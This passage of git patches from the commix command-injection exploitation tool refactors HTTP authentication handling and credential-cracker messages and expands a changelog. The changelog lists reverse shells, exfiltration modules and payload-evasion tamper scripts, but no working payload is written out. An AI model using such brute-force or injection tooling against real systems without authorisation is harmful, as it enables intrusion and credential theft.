= "Use the '--auth-cred' option to provide a valid pair of " diff --git a/src/core/main.py b/src/core/main.py index 1b1c0a6900..58b16cd9dd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -192,12 +192,13 @@ def init_request(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) + # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - if menu.options.auth_type.lower() in ("basic", "digest"): + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): _ = "credentials" else: _ = "token" - debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + " for, " + menu.options.auth_type + debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + ", for " + menu.options.auth_type debug_msg += " HTTP authentication." print(settings.print_debug_msg(debug_msg)) if menu.options.proxy: @@ -678,7 +679,7 @@ def main(filename, url): raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: - if menu.options.auth_type.lower() in ("basic", "digest") and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." print(settings.print_critical_msg(error_msg)) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 038ad3efbc..b6bacc7165 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -163,10 +163,10 @@ def http_auth_cracker(url, realm): sys.stdout.flush() try: # Basic authentication - if authentication_type.lower() == "basic": + if authentication_type.lower() == settings.AUTH_TYPE.BASIC: authhandler = _urllib.request.HTTPBasicAuthHandler() # Digest authentication - elif authentication_type.lower() == "digest": + elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 23f0bfe08c..d9c5f62a0b 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -300,39 +300,38 @@ def do_check(request): # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type.lower()) - if menu.options.auth_type.lower() == "bearer": - request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) - elif menu.options.auth_type.lower() == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) - elif menu.options.auth_type.lower() == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: + request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + try: + url = menu.options.url + try: + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except _urllib.error.HTTPError as e: + try: + authline = e.headers.get('www-authenticate', '') + authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() + realm = authobj[1].split(',')[0].replace("\"","") + user_pass_pair = menu.options.auth_cred.split(":") + username = user_pass_pair[0] + password = user_pass_pair[1] + authhandler = _urllib.request.HTTPDigestAuthHandler() + authhandler.add_password(realm, url, username, password) + opener = _urllib.request.build_opener(authhandler) + _urllib.request.install_opener(opener) + result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except AttributeError: + pass + except _urllib.error.HTTPError as e: + pass + else: pass diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8f1d171b35..e29c32a397 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -157,7 +157,7 @@ def estimate_response_time(url, timesec): print(settings.print_bold_info_msg(info_msg)) else: # Basic authentication - if menu.options.auth_type == "basic": + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." @@ -182,7 +182,7 @@ def estimate_response_time(url, timesec): pass # Digest authentication - elif menu.options.auth_type == "digest": + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." diff --git a/src/utils/settings.py b/src/utils/settings.py index 9c9cc4a864..fc732aea53 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -988,7 +988,10 @@ def sys_argv_errors(): METASPLOIT_PATH = "/usr/share/metasploit-framework/" # Supported HTTP Authentication types -SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest", "bearer" ] +class AUTH_TYPE(object): + BASIC = "basic" + DIGEST = "digest" + BEARER = "bearer" # HTTP Headers HTTP_HEADERS = [ "user-agent", "referer", "host" ] From c29d9d4582ea6b8184ff05407b12b42d895a6db9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 1 Jun 2023 08:34:49 +0300 Subject: [PATCH 304/560] Minor update --- src/core/main.py | 13 ++++--------- src/core/requests/authentication.py | 6 +++--- src/core/requests/proxy.py | 4 ++-- src/utils/settings.py | 4 ++-- 4 files changed, 11 insertions(+), 16 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 58b16cd9dd..7af298d987 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -189,20 +189,15 @@ def init_request(url): request = _urllib.request.Request(url) # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): - _ = "credentials" - else: - _ = "token" - debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + ", for " + menu.options.auth_type - debug_msg += " HTTP authentication." + debug_msg = "Setting the HTTP authentication type and credentials." print(settings.print_debug_msg(debug_msg)) if menu.options.proxy: proxy.do_check() + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." + print(settings.print_debug_msg(debug_msg)) return request """ diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index b6bacc7165..052d27c3e6 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -155,7 +155,7 @@ def http_auth_cracker(url, realm): float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) # Check if verbose mode on if settings.VERBOSITY_LEVEL != 0: - payload = "" + username + ":" + password + "" + payload = "'" + username + ":" + password + "'" if settings.VERBOSITY_LEVEL >= 2: print(settings.print_checking_msg(payload)) else: @@ -200,7 +200,7 @@ def http_auth_cracker(url, realm): i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for a valid pair of credentials." + info_msg = "Checking for valid pair of HTTP authentication credentials." info_msg += float_percent sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -208,7 +208,7 @@ def http_auth_cracker(url, realm): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of credentials '" + info_msg = "Identified valid pair of HTTP authentication credentials: '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 14290cc5e4..881965ecfb 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -39,7 +39,7 @@ def use_proxy(request): """ def do_check(): if settings.VERBOSITY_LEVEL != 0: - info_msg = "Setting the HTTP proxy for all HTTP requests. " - print(settings.print_info_msg(info_msg)) + debug_msg = "Setting the HTTP proxy for all HTTP requests. " + print(settings.print_debug_msg(debug_msg)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index fc732aea53..51ab6057f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -63,7 +63,7 @@ class HTTPMETHOD(object): ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3994fcce8e4aeb046abcb0ba9f1ee692f6f4b97a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 2 Jun 2023 07:59:36 +0300 Subject: [PATCH 305/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 70 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 47b6cfc3d5..16822dfa87 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -15,6 +15,8 @@ * Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._ + ## Version 3.6 (2022-11-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -24,6 +26,8 @@ * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._ + ## Version 3.5 (2022-07-03) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. @@ -45,6 +49,8 @@ * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._ + ## Version 3.4 (2022-02-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). @@ -57,6 +63,8 @@ * Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._ + ## Version 3.3 (2021-09-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`). @@ -72,6 +80,8 @@ * Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. * Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._ + ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets). @@ -96,6 +106,8 @@ * Fixed: Bug-fix regarding Basic HTTP authentication. * Fixed: Bug-fix regarding connection problems (via @fuero). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._ + ## Version 3.1 (2020-06-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: A script "setup.py" has been added (i.e. easier installation). @@ -113,6 +125,8 @@ * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._ + ## Version 3.0 (2019-11-11) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the indicated web-page charset. @@ -123,6 +137,8 @@ * Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option. * Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._ + ## Version 2.9 (2019-06-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding parsing hostname and port from URL. @@ -138,6 +154,8 @@ * Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase. * Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._ + ## Version 2.8 (2019-03-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Updated: Minor update regarding accepting overly long result lines. @@ -148,6 +166,8 @@ * Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools). * Added: Support for Windows "Python" on "reverse_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._ + ## Version 2.7 (2018-12-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: The suffixes list has been shortly revised. @@ -169,6 +189,8 @@ * Fixed: Minor bug-fix regarding loading tamper scripts. * Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._ + ## Version 2.6 (2018-09-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement in session handler regarding IPv6 targets. @@ -187,6 +209,8 @@ * Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts. * Fixed: Minor bug-fix regarding "bind_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._ + ## Version 2.5 (2018-07-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data. @@ -203,6 +227,8 @@ * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._ + ## Version 2.4 (2018-05-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts. @@ -212,6 +238,8 @@ * Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets). * Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ + ## Version 2.3 (2018-03-07) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding testing the Host HTTP header. @@ -228,6 +256,8 @@ * Revised: Improvement regarding testing json-formated POST data with empty value(s). * Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._ + ## Version 2.2 (2017-12-12) * Revised: Minor improvement in "updater", for supporting verbose mode. * Fixed: Minor bug-fix regarding cookie-based command injections. @@ -241,6 +271,8 @@ * Added: New option `--skip` regarding excluding certain parameter(s) from testing. * Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._ + ## Version 2.1 (2017-10-03) * Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1'). * Added: New option `--check-internet` that checks internet connection before assessing the target. @@ -258,6 +290,8 @@ * Fixed: Major bug-fix regarding connection problem over HTTPS. * Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._ + ## Version 2.0 (2017-07-14) * Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used. * Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets). @@ -272,6 +306,8 @@ * Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header. * Added: New option `--retries` that retries request(s) when the connection timeouts. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._ + ## Version 1.9 (2017-05-02) * Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. * Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. @@ -284,6 +320,8 @@ * Replaced: The `--root-dir` option has been replaced with `--web-root` option. * Added: New option `--wizard` that shows a simple wizard interface for beginner users. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._ + ## Version 1.8 (2017-03-15) * Added: New feauture for installing Unicorn tool (if not installed on host). * Removed: The pre-installed version of Unicorn tool has been removed. @@ -299,6 +337,8 @@ * Fixed: Minor improvement for checking for established TCP connections. * Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._ + ## Version 1.7 (2017-02-03) * Fixed: Minor improvement regarding unverified SSL context(s). * Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option. @@ -314,6 +354,8 @@ * Fixed: Improvement regarding testing the parameter(s) with empty value(s). * Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._ + ## Version 1.6 (2016-12-28) * Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists. * Fixed: Minor fix regarding empty value(s) in provided parameter(s). @@ -329,6 +371,8 @@ * Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised. * Added: The executed command and the execution results output has been added to log file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._ + ## Version 1.5 (2016-11-17) * Fixed: Minor improvement in the "ICMP exfiltration" module. * Fixed: Minor improvement for choosing default value when pressing enter. @@ -340,6 +384,8 @@ * Added: New verbosity level (3) for printing the HTTP response headers. * Added: New verbosity level (2) for printing the performed HTTP requests headers. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._ + ## Version 1.4 (2016-10-17) * Added: Support on crawler for checking target for the existence of 'sitemap.xml'. * Revised: The payload for Ruby reverse-shell has been shortly revised. @@ -351,6 +397,8 @@ * Fixed: Minor improvement in the function that checks for updates on start up. * Fixed: Minor improvements in enumeration options (added failure messages). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._ + ## Version 1.3 (2016-09-14) * Fixed: Minor improvements in "reverse_tcp" option. * Added: Support for the metasploit "web_delivery" script. @@ -361,6 +409,8 @@ * Fixed: Minor improvement in Shellshock module for ignoring junk output on response. * Fixed: Minor improvement in Shellshock module for finding RCE results on page's response. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._ + ## Version 1.2 (2016-08-12) * Added: The ability for setting custom (PHP / Python) working directory. * Fixed: License file minor inaccurancy issue has been fixed. @@ -373,6 +423,8 @@ * Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path). * Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ + ## Version 1.1 (2016-07-14) * Added: The ".gitignore" file has been added. * Added: Support for injections against ASP.NET applications. @@ -383,6 +435,8 @@ * Added: Support for automated enabling of an HTTP server for `--file-upload` option. * Fixed: Minor fix for "Python-urllib" User-Agent exposure. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._ + ## Version 1.0 (2016-06-14) * Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests. * Added: A list of pages / scripts potentially vulnerable to shellshock. @@ -391,6 +445,8 @@ * Fixed: HTTPS requests fixation, if the `--proxy` option is enabled. * Fixed: Multiple fixes regarding the shellshock module have been performed. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._ + ## Version 0.9b (2016-06-07) * Added: The ability to re-perform the injection request if it has failed. * Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines. @@ -405,6 +461,8 @@ * Revised: The "time-based" (blind) technique for *nix targets has been shortly revised. * Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._ + ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. * Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. @@ -415,6 +473,8 @@ * Added: The ability to check every GET parameter in the defined URL and/or every POST provided data. * Added: New option `--all` that enables all supported enumeration options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._ + ## Version 0.7b (2016-04-18) * Fixed: HTTP proxy logs parser to accept GET http requests. * Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials. @@ -423,6 +483,8 @@ * Added: Dictionary-based cracker for "Digest" HTTP authentication credentials. * Added: Support for "Digest" HTTP authentication type. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._ + ## Version 0.6b (2016-04-01) * Added: The ability to store valid (Basic) credentials into session files for current target. * Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials. @@ -433,6 +495,8 @@ * Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module). * Added: New option `--dependencies` that checks (non-core) third party dependenices. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._ + ## Version 0.5b (2016-03-16) * Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator. * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). @@ -440,6 +504,8 @@ * Added: New option `--os` that forces a user-defined os name. * Added: Support for testing custom HTTP headers (via `--headers` parameter). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._ + ## Version 0.4.1b (2016-02-26) * Added: Support for storing and retrieving executed commands from session file. * Added: New option `-s` for loading session from session file. @@ -447,12 +513,16 @@ * Added: New option `--flush-session` for flushing session files for current target. * Added: Support to resume to the latest injection points from session file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._ + ## Version 0.4b (2016-02-04) * Added: Payload mutation if WAF/IPS/IDS protection is detected. * Added: Check for existence of WAF/IPS/IDS protection (via error pages). * Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value. * Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._ + ## Version 0.3b (2016-01-15) * Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. * Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab). From 3ffd261f5fb5ff263a91ead509c26beb12497d57 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 3 Jun 2023 08:28:04 +0300 Subject: [PATCH 306/560] Fixes https://github.com/commixproject/commix/issues/839 --- doc/CHANGELOG.md | 3 ++- src/utils/logs.py | 7 +++---- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 16822dfa87..781569cd3a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,8 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). * Added: Support for "Bearer" HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). -* Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. +* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. diff --git a/src/utils/logs.py b/src/utils/logs.py index 22734520a7..42966c5471 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -50,6 +50,7 @@ def path_creation(path): """ def logs_filename_creation(url): if menu.options.output_dir: + menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir else: @@ -58,13 +59,11 @@ def logs_filename_creation(url): raise SystemExit() else: output_dir = settings.OUTPUT_DIR - - output_dir = os.path.dirname(output_dir) - path_creation(output_dir) + path_creation(os.path.dirname(settings.OUTPUT_DIR)) if not output_dir.endswith("/"): output_dir = output_dir + "/" - + # The logs filename construction. filename = create_log_file(url, output_dir) diff --git a/src/utils/settings.py b/src/utils/settings.py index 51ab6057f9..5aa6543ad1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a3c161b337e9ad5053299000ae41abbd6b4ce2c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 4 Jun 2023 08:58:44 +0300 Subject: [PATCH 307/560] Fixes https://github.com/commixproject/commix/issues/840 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 12 ++++++++---- src/utils/settings.py | 2 +- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 781569cd3a..d3897ad4d4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). * Added: Support for "Bearer" HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). diff --git 